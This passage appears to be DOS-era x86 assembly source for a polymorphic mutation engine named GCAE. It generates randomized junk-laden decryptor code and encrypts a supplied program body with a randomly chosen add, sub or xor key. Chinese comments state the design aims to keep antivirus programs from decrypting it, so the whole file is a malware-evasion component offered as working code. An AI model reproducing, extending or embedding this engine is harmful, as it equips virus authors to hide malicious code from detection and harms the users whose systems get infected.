vreg_1  db ?
vreg_2  db ?

treg_1  db ?
treg_2  db ?

v_ax    dw ?
v_cx    dw ?
v_dx    dw ?
v_bx    dw ?
v_sp    dw ?
v_bp    dw ?
v_si    dw ?
v_di    dw ?

prg_ip  dw ?
prg_size dw ?
prg_dx  dw ?
prg_ds  dw ?

key_id  dw ?
xor_type db ?

xor_cod db 03h,2bh,33h,033h           ; 編碼種類 add 、sub 、xor ...

cod     db 2eh,2eh,0cch,0cch,0cch,0cch,91h,92h,93h,98h,99h,0f0h,0fah
        db 0fbh,0fch,0fdh

GCAE:
        cld
        mov cs:prg_ip,bx    ; 除存參數...
        mov cs:prg_size,cx  ;
        mov cs:prg_dx,dx    ;
        mov cs:prg_ds,ds    ;
        call make_eng1       ; 製造多形程式之副程式...
        call make_eng2       ; 編碼的副程式...
        mov cx,di           ; 設定返回參數...
        push es             ;
        pop ds              ;
        xor dx,dx           ;
        ret

make_eng1:
        xor di,di
        call make_rad_cod   ; 產生亂數...
make_reg:                   ; 設定解碼模組所用的暫存器值...
        in ax,40h
        and ah,00011000b
        and al,00011000b
        or ah,00100000b
        or al,00100000b
        cmp ah,00100000b
        jz make_reg
        cmp al,00100000b
        jz make_reg
        mov cs:reg_1,ah
        mov cs:reg_2,al
        xor bp,bp
        xor di,di
        call make_rec_cod
        ret

make_rad_cod:
        call rad
        mov es:[di],ax
        inc di
        inc di
        cmp di,0100h
        jb make_rad_cod
        ret
rad:
        in ax,40h
        xor ax,cs:key_id
        add ax,2e4dh
        neg ax
        mov cs:key_id,ax
        ret

make_rec_cod_ext:
        mov ax,0100h        ; Mmmm... No thing...
        sub ax,di           ; I must be Crazy...
        dec ax              ; Whoa... Ha! Ha! Ha! Ha!
        dec ax              ;
        mov ah,0ebh         ;
        xchg ah,al          ;
        call mrd            ;
        mov di,0100h        ;
        ret
make_rec_cod:                    ; 這裡已後我不想註了, 你看那
        cmp di,00f0h             ; 張表就可以了... 嘻! 我在混
        jae make_rec_cod_ext     ; 嘛!!!
        call make_rec            ; Oh! TV... I love you...
        mov al,es:[di]           ; I m' coming...
        cmp al,40h               ;
        jb mrc1                  ;
        cmp al,80h               ;
        jb mrc2                  ;
        jmp mrc3                 ;

mrc1:
        mov ah,al
        and al,0fh
        cmp al,0ch
        jae mrc1_a2
        cmp al,08h
        jae mrc1_a1
        cmp al,04h
        jae mrc1_a2
mrc1_a1:
        or ah,00000010b
        in al,40h
        mov dl,ah
        and dl,01h
        cmp dl,01h
        jnz mrc1_a1b1
        and al,11011111b
mrc1_a1b1:
        mov dl,al
        and dl,11000000b
        cmp dl,00h
        jz mrc1_a1b2
        or al,11000000b
        xchg ah,al
        call mrd
        jmp make_rec_cod
mrc1_a1b2:
        and al,00111000b
        or al,00000110b
        xchg ah,al
        call mrd
        inc di
        inc di
        jmp make_rec_cod
mrc1_a2:
        and ah,11111101b
        mov al,ah
        call mrb
        inc di
        and al,00000001b
        xor ah,ah
        add di,ax
        jmp make_rec_cod

mrc2:
        cmp al,70h
        jae mrc2_a1
        cmp al,60h
        jae mrc2_a2
        and al,00001011b
        or al,40h
        call mrb
        jmp make_rec_cod
mrc2_a1:
        xor ah,ah
        call mrd
        jmp make_rec_cod
mrc2_a2:
        and ax,000fh
        mov si,OFFSET cs:cod
        add si,ax
        mov al,cs:[si]
        call mrb
        jmp make_rec_cod

mrc45:
        jmp mrc4
mrc3:
        cmp al,90h
        jae mrc45
        mov ah,al
        in al,40h
        cmp ah,81h
        jz mrc3_a1
        cmp ah,83h
        jz mrc3_a1
        cmp ah,80h
        jz mrc3_a2
        cmp ah,82h
        jz mrc3_a2
        jmp mrc3_a3
mrc3_a1:
        mov dh,cs:reg_1
        mov dl,cs:reg_2
        mov cl,03h
        shr dh,cl
        shr dl,cl
        mov cl,al
        and cl,00000111b
        cmp cl,00000100b
        jz mrc3_a1b
        cmp dh,cl
        jz mrc3_a1b
        cmp dl,cl
        jz mrc3_a1b
        jmp mrc3_a2
mrc3_a1b:
        and al,11111011b
mrc3_a2:
        or al,11000000b
        and ah,11110001b
        xchg ah,al
        call mrd
        inc di
        and al,01h
        xor ah,ah
        add di,ax
        jmp make_rec_cod
mrc3_a3:
        cmp ah,8ch
        jb mrc3_a3b1
        and ah,11111011b
mrc3_a3b1:
        cmp ah,87h
        jz mrc3_a3b2
        cmp ah,8bh
        jz mrc3_a3b2
        jmp mrc3_a3b3
mrc3_a3b2:
        and al,11011111b
mrc3_a3b3:
        cmp ah,88h
        jb mrc3_a3b4
        mov dl,al
        and dl,11000000b
        cmp dl,00h
        jz mrc3_a3b6
mrc3_a3b4:
        or al,11000000b
        mov dl,ah
        and dl,01h
        cmp dl,01h
        jnz mrc3_a3b5
        and al,11111011b
mrc3_a3b5:
        xchg ah,al
        call mrd
        jmp make_rec_cod
mrc3_a3b6:
        cmp ah,8ah
        jb mrc3_a3b7
        and al,11111000b
        or al,00000110b
        xchg ah,al
        call mrd
        inc di
        inc di
        jmp make_rec_cod
mrc3_a3b7:
        and al,11111000b
        or al,00000110b
        xchg ah,al
        call mrd
        in ax,40h
        and ax,001fh
        or ax,00e0h
        dec ax
        add ax,cs:prg_ip
        call mrd
        jmp make_rec_cod

mrc4:
        cmp al,0a0h
        jb mrc4_a1
        cmp al,0b0h
        jb mrc4_a2
        cmp al,0c0h
        jb mrc4_a3
        cmp al,0d0h
        jb mrc4_a4
        jmp mrc5
mrc4_a1:
        and al,11110011b
        cmp al,90h
        jnz mrc4_a1b
        mov al,0cch
mrc4_a1b:
        call mrb
        jmp make_rec_cod
mrc4_a2:
        and al,11111001b
        call mrb
        cmp al,0a8h
        jae mrc4_a2b
        inc di
        inc di
        jmp make_rec_cod
mrc4_a2b:
        inc di
        and al,01h
        xor ah,ah
        add di,ax
        jmp make_rec_cod
mrc4_a3:
        cmp al,0bch
        jb mrc4_a3b1
        and al,00001011b
        or al,80h
        mov es:[di],al
        jmp make_rec_cod
mrc4_a3b1:
        call mrb
        cmp al,0b8h
        jb mrc4_a3b2
        inc di
mrc4_a3b2:
        inc di
        jmp make_rec_cod
mrc4_a4:
        mov ah,al
        and ah,11110001b
        or ah,00000110b
        in al,40h
        and al,00000111b
        or al,11000000b
        cmp ah,0c7h
        jnz mrc4_a4b
        and al,11000011b
mrc4_a4b:
        xchg ah,al
        call mrd
        inc di
        and al,01h
        xor ah,ah
        add di,ax
        jmp make_rec_cod

mrc5:
        cmp al,0e0h
        jb mrc5_a1
        jmp mrc5_a2
mrc5_a1:
        mov ah,al
        and ah,11110011b
        in al,40h
        mov dl,al
        and dl,00111000b
        cmp dl,00110000b
        jnz mrc5_a1b1
        or al,00111000b
mrc5_a1b1:
        or al,11000000b
        mov dl,ah
        and dl,01h
        cmp dl,01h
        jnz mrc5_a1b2
        and al,11111011b
mrc5_a1b2:
        xchg ah,al
        call mrd
        jmp make_rec_cod
mrc5_a2:
        cmp al,0e1h
        jb mrc5_a2b1
        cmp al,0e8h
        jb mrc5_a2b2
        cmp al,0feh
        jae mrc5_a2b4
        jmp mrc5_a2b3
mrc5_a2b1:
        and al,11110001b
        or al,00000100b
        call mrb
        inc di
        jmp make_rec_cod
mrc5_a2b2:
        mov ah,al
        and ah,0fh
        mov al,0ebh
        call mrd
        xor al,al
        xchg ah,al
        add di,ax
        jmp make_rec_cod
mrc5_a2b3:
        mov dl,al
        and al,0fh
        mov ah,0e8h
        xchg ah,al
        call mrd
        mov al,00h
        call mrb
        xchg ah,al
        add di,ax
        mov al,dl
mrc5_a2b3c1:
        cmp al,54h
        jb mrc5_a2b3c2
        sub al,04h
        jmp mrc5_a2b3c1
mrc5_a2b3c2:
        add al,08h
        call mrb
        jmp make_rec_cod
mrc5_a2b4:
        mov ah,al
        in al,40h
        and al,00001000b
        or al,00000110b
        xchg ah,al
        call mrd
        in ax,40h
        and ax,001fh
        or ax,00e0h
        dec ax
        add ax,cs:prg_ip
        call mrd
        jmp make_rec_cod

make_rec_ext:               ; 這裡已後就是產生解碼模組的副
        ret                 ; 程式了... 你可以看那張表就可
make_rec:                   ; 囉... 嘻!
        mov ax,bp           ;          ︿  ︿    Z
        mov cx,0004h        ;          (-)(-)   z
        shl ax,cl           ;        （ (oo) ）
        or al,03h           ;
        cmp di,ax           ;             睡覺中...
        jb make_rec_ext     ;
mr_0:
        cmp bp,0000h
        jnz mr_1
        mov al,0eh
        jmp mr_ext
mr_1:
        cmp bp,0001h
        jnz mr_2
        mov al,1fh
        jmp mr_ext
mr_2:
        cmp bp,0002h
        jnz mr_3
        in al,40h
        and al,01h
        cmp al,01h
        jz mr_2_a
        mov ah,cs:reg_1
        or ah,00000110b
        mov al,8bh
        call mrd
        mov cs:mr_d2,di
        call madr
        inc bp
        ret
mr_2_a:
        mov ah,00110110b
        mov al,0ffh
        call mrd
        mov cs:mr_d2,di
        call madr
        mov al,cs:reg_1
        mov cl,03h
        shr al,cl
        or al,01011000b
        call mrb
        inc bp
        ret
mr_3:
        cmp bp,0003h
        jnz mr_4
        call vcpu
        inc bp
        ret
mr_4:
        cmp bp,0004h
        jnz mr_5
        in al,40h
        and al,01h
        cmp al,01h
        jz mr_4_a
        mov ah,cs:reg_1
        or ah,00000110b
        mov al,89h
        call mrd
        mov cs:mr_d4,di
        call madr
        inc bp
        ret
mr_4_a:
        mov al,cs:reg_1
        mov cl,03h
        shr al,cl
        or al,01010000b
        call mrb
        mov ah,00000110b
        mov al,8fh
        call mrd
        mov cs:mr_d4,di
        call madr
        inc bp
        ret
mr_5:
        cmp bp,0005h
        jnz mr_6
        mov ah,cs:reg_2
        or ah,00000110b
        mov al,8bh
        call mrd
        mov ax,cs:mr_d2
        add ax,cs:prg_ip
        call mrd
        inc bp
        ret
mr_6:
        cmp bp,0006h
        jz mr_7
        cmp bp,0007h
        jz mr_7
        jmp mr_8
mr_7:
        mov al,cs:reg_2
        mov cl,03h
        shr al,cl
        or al,40h
        call mrb
        inc bp
        ret
mr_8:
        cmp bp,0008h
        jnz mr_9
        mov ah,cs:reg_2
        or ah,00000110b
        mov al,89h
        call mrd
        mov ax,cs:mr_d2
        add ax,cs:prg_ip
        call mrd
        inc bp
        ret
mr_9:
        cmp bp,0009h
        jnz mr_a
        mov ah,cs:reg_2
        or ah,00000110b
        mov al,89h
        call mrd
        mov ax,cs:mr_d4
        add ax,cs:prg_ip
        call mrd
        inc bp
        ret
mr_a:
        cmp bp,000ah
        jnz mr_b
        mov ah,cs:reg_2
        mov cl,03h
        shr ah,cl
        or ah,11111000b
        mov al,81h
        call mrd
        mov cs:mr_da,di
        inc di
        inc di
        call mrc_n
        mov al,9ch
        call mrb
        inc bp
        ret
mr_b:
        cmp bp,000bh
        jnz mr_c
        mov al,9dh
        call mrb
        call mrc_n
        mov ax,0100h
        sub ax,di
        dec ax
        dec ax
        mov ah,73h
        xchg ah,al
        call mrd
        inc bp
        ret
mr_e:
        ret
mr_c:
        cmp bp,000ch
        jnz mr_e
        mov al,0e9h
        call mrb
        mov ax,0ffffh
        sub ax,di
        dec ax
        add ax,cs:mr_d0
        call mrd
        inc di
        and di,0fffeh
        in ax,40h
        and ax,000eh
        add ax,di
        mov bx,cs:prg_ip
        add ax,bx
        mov si,cs:mr_d2
        mov es:[si],ax
        mov si,cs:mr_d4
        mov es:[si],ax
        mov cx,cs:prg_size
        and cx,0fffeh
        add cx,cs:prg_ip
        add cx,0100h
        mov si,cs:mr_da
        mov es:[si],cx
        inc bp
        ret
mr_ext:
        call mrb
        inc bp
        mov cs:mr_d0,di
        ret

mrb:                         ; 這部份就是將 al or ax
        mov es:[di],al       ; 填入 es:[di] ...
        inc di               ; 然後在將 di 加 1 or 2
        ret                  ; !!!
mrd:                         ;
        mov es:[di],ax       ;
        inc di               ;
        inc di               ;
        ret
madr:
        mov ax,es:[0000h]
        and ax,001fh
        or ax,00e0h
        dec ax
        add ax,cs:prg_ip
        call mrd
        ret

vcpu:                             ; 這部份是在作解碼值的運算...
        call vcpu_r               ; 為什麼要那麼麻煩呢?
        in ax,40h                 ; 因為人家不想讓一些爛解毒程
        and ax,0003h              ; 式解掉... 才...
        mov si,OFFSET cs:xor_cod
        add si,ax
        mov al,cs:[si]
        mov cs:xor_type,al
        mov ah,cs:vreg_1
        or ah,cs:reg_1
        or ah,11000000b
        call mrd
        mov al,cs:vreg_1
        add al,al
        xor ah,ah
        mov si,ax
        mov ax,cs:[v_ax+si]
        mov cs:key_id,ax
        ret
vcpu_r:
        call vcpu_mr1
        mov cs:vreg_1,al
        or al,0b8h
        call mrb
        mov cs:vcpu_bu1,al
        in ax,40h
        call mrd
        mov cs:vcpu_bu2,ax
        call vcpu_b
        call mrc_m
        call vcpu_mr1
        mov cs:vreg_2,al
        or al,0b8h
        call mrb
        mov cs:vcpu_bu1,al
        in ax,40h
        call mrd
        mov cs:vcpu_bu2,ax
        call vcpu_b
        call mrc_m
        call vcpu_mr2
        call mrd
        mov cs:vcpu_bu2,ax
        call vcpu_b
        ret
vcpu_b:
        push bp
        push di
        push si
        mov ax,cs:v_ax
        mov bx,cs:v_bx
        mov cx,cs:v_cx
        mov dx,cs:v_dx
        mov bp,cs:v_bp
        mov di,cs:v_di
        mov si,cs:v_si
vcpu_bu1 db 90h
vcpu_bu2 dw 9090h
        mov cs:v_ax,ax
        mov cs:v_bx,bx
        mov cs:v_cx,cx
        mov cs:v_dx,dx
        mov cs:v_bp,bp
        mov cs:v_di,di
        mov cs:v_si,si
        mov ax,9090h
        mov cs:vcpu_bu1,al
        mov cs:vcpu_bu2,ax
        pop si
        pop di
        pop bp
        ret
vcpu_mr1:
        in al,40h
        and al,00000111b
        cmp al,00000100b
        jz vcpu_mr1
        mov ah,cs:reg_1
        mov cl,03h
        shr ah,cl
        cmp ah,al
        jz vcpu_mr1
        cmp al,cs:vreg_1
        jz vcpu_mr1
        ret
vcpu_mr2:
        in al,40h
        and al,00111000b
        or al,03h
        mov dl,al
        and dl,0f0h
        cmp dl,10h
        jz vcpu_mr2
        mov ah,cs:vreg_1
        mov cl,03h
        shl ah,cl
        or ah,cs:vreg_2
        or ah,11000000b
        ret

mrc_m:
        in al,40h
        and al,00111000b
        cmp al,00100000b
        jz mrc_ma
        cmp al,cs:reg_1
        jz mrc_ma
        mov cl,03h
        shr al,cl
        cmp al,cs:vreg_1
        jz mrc_ma
        or al,0b8h
        call mrb
        mov cs:vcpu_bu1,al
        in ax,40h
        call mrd
        mov cs:vcpu_bu2,ax
        call vcpu_b
        ret
mrc_ma:
        in al,40h
        cmp al,40h
        jb mrc_ma1
        cmp al,60h
        jb mrc_ma2
        cmp al,90h
        jb mrc_ma3
        jmp mrc_ma4
mrc_ma1:
        and al,11111001b
        or al,00000100b
        mov ah,al
        and ah,0f0h
        cmp ah,10h
        jnz mrc_ma1b1
        in al,40h
        jmp mrc_ma4
mrc_ma1b1:
        call mrb
        mov cs:vcpu_bu1,al
        inc di
        and al,00000001b
        xor ah,ah
        add di,ax
        cmp al,01h
        jz mrc_ma1b2
        mov al,es:[di-01h]
        mov ah,90h
        mov vcpu_bu2,ax
        jmp mrc_ma1b3
mrc_ma1b2:
        mov ax,es:[di-02h]
        mov vcpu_bu2,ax
mrc_ma1b3:
        call vcpu_b
        ret
mrc_ma2:
        in al,40h
        and al,00001111b
        mov ah,al
        and ah,00000111b
        cmp ah,00000100b
        jz mrc_ma2
        mov cl,03
        shl ah,cl
        cmp ah,cs:reg_1
        jz mrc_ma2
        or al,40h
        call mrb
        mov cs:vcpu_bu1,al
        call vcpu_b
        ret
mrc_ma3:
        mov al,80h
        call mrb
        mov cs:vcpu_bu1,al
mrc_ma3a:
        in ax,40h
        and al,00111000b
        cmp al,00010000b
        jz mrc_ma3a
        cmp al,00011000b
        jz mrc_ma3a
        or al,cs:vreg_1
        or al,11000000b
        call mrd
        mov cs:vcpu_bu2,ax
        call vcpu_b
        ret
mrc_ma4:
        and al,0fh
        mov ah,0e8h
        xchg ah,al
        call mrd
        mov al,00h
        call mrb
        push di
        xchg ah,al
        add di,ax
mrc_ma4b:
        in al,40h
        and al,00111000b
        cmp al,00100000b
        jz mrc_ma4b
        cmp al,cs:reg_1
        jz mrc_ma4b
        mov cl,03h
        shr al,cl
        or al,58h
        call mrb
        and al,00000111b
        or al,0b8h
        mov cs:vcpu_bu1,al
        pop ax
        add ax,cs:prg_ip
        mov cs:vcpu_bu2,ax
        call vcpu_b
        ret

mrc_n:
        in ax,40h
        and al,00000011b
        or al,10001000b
        and ah,00111000b
        or ah,00000110b
        cmp ax,268ch
        jz mrc_n
        call mrd
        in ax,40h
        and ax,001fh
        or ax,00e0h
        dec ax
        add ax,cs:prg_ip
        call mrd
        ret

make_eng2:                             ; 這部份就是在編碼囉...
        mov si,cs:prg_dx               ; 用心點吧... 你一定可以
        mov ds,cs:prg_ds               ; 了解的...
        mov ax,cs:key_id               ;
        mov cx,cs:prg_size             ;
me2_l1:
        movsw
        dec cx
        cmp byte ptr cs:xor_type,03h
        jz xor_1
        cmp byte ptr cs:xor_type,2bh
        jz xor_2
        jmp xor_3
xor_1:
        sub es:[di-02h],ax
        jmp xor_4
xor_2:
        add es:[di-02h],ax
        jmp xor_4
xor_3:
        xor es:[di-02h],ax
xor_4:
        cmp cx,0002h
        jz me2_l2
        loop me2_l1
        ret
me2_l2:
        movsb
        ret

GCAE_E db ?

        END
=============================================================================
